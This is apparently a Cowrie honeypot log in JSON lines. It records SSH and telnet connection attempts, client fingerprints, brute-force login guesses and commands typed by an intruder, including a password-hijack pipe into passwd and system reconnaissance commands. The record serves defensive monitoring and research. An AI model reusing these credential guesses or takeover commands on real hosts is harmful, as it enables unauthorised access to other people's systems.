{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":38742,"dst_ip":"10.17.0.5","dst_port":22,"session":"f920e04bd4af","protocol":"ssh","message":"New connection: 187.212.47.18:38742 (10.17.0.5:22) [session: f920e04bd4af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:56.316198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:56.323547Z","src_ip":"187.212.47.18","session":"f920e04bd4af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.505675554275513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:56.422541Z","src_ip":"45.63.78.87","session":"5b151ef850d4","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:56.554677Z","src_ip":"187.212.47.18","session":"f920e04bd4af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"000000","message":"login attempt [es/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:56.893231Z","src_ip":"187.212.47.18","session":"f920e04bd4af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:57.220253Z","src_ip":"185.9.193.111","session":"780ee861eab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":53254,"dst_ip":"159.203.135.109","dst_port":22,"session":"72ff970353d2","protocol":"ssh","message":"New connection: 185.9.193.111:53254 (159.203.135.109:22) [session: 72ff970353d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:57.539970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:57.546421Z","src_ip":"185.9.193.111","session":"72ff970353d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:57.745902Z","src_ip":"185.9.193.111","session":"72ff970353d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:57.971851Z","src_ip":"187.212.47.18","session":"f920e04bd4af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:58.660117Z","src_ip":"185.9.193.111","session":"72ff970353d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:59.957036Z","src_ip":"185.9.193.111","session":"72ff970353d2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:00.324726Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:00.328132Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:01.060208Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:03.433200Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"Admin1234\\nmFAGLaq4HvzD\\nmFAGLaq4HvzD\"|passwd|bash","message":"CMD: echo -e \"Admin1234\\nmFAGLaq4HvzD\\nmFAGLaq4HvzD\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:03.437080Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:03.441273Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:03.444851Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b25bc594c3688e35e762a8a63bd8f66ed41c961f3931f73ee08d99c3698641a","size":32,"shasum":"4b25bc594c3688e35e762a8a63bd8f66ed41c961f3931f73ee08d99c3698641a","duplicate":false,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/4b25bc594c3688e35e762a8a63bd8f66ed41c961f3931f73ee08d99c3698641a after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:04.179707Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:05.612976Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"Admin1234\\nmFAGLaq4HvzD\\nmFAGLaq4HvzD\\n\"|passwd","message":"CMD: echo \"Admin1234\\nmFAGLaq4HvzD\\nmFAGLaq4HvzD\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:05.616669Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b8059bb8fac4418feab9f0ac4a9350a773bc69e30a2697f0442c5624b65107dd","size":25,"shasum":"b8059bb8fac4418feab9f0ac4a9350a773bc69e30a2697f0442c5624b65107dd","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/b8059bb8fac4418feab9f0ac4a9350a773bc69e30a2697f0442c5624b65107dd after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:06.098525Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:07.164828Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:07.167460Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:07.540914Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":33980,"dst_ip":"10.17.0.5","dst_port":23,"session":"689c3f73ebb4","protocol":"telnet","message":"New connection: 45.63.78.87:33980 (10.17.0.5:23) [session: 689c3f73ebb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:07.664033Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:08.307967Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:08.311821Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:08.539508Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:09.311157Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:09.314451Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:09.316905Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:09.739345Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:10.262545Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:10.265886Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:10.576858Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:11.860941Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:11.864613Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"2.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:14.164370Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:14.955597Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:14.959696Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:15.339697Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":54592,"dst_ip":"159.203.135.109","dst_port":22,"session":"c01ede5924f6","protocol":"ssh","message":"New connection: 194.59.206.2:54592 (159.203.135.109:22) [session: c01ede5924f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:15.468386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:15.473948Z","src_ip":"194.59.206.2","session":"c01ede5924f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:15.561710Z","src_ip":"194.59.206.2","session":"c01ede5924f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:15.654756Z","src_ip":"194.59.206.2","session":"c01ede5924f6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:16.519209Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:16.523536Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:16.939615Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":36670,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d1690e4f031","protocol":"telnet","message":"New connection: 45.63.78.87:36670 (10.17.0.5:23) [session: 6d1690e4f031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:17.454419Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:17.518032Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:17.521711Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:18.133790Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:20.205563Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:20.209428Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:20.515941Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:21.406434Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:22:21.409933Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
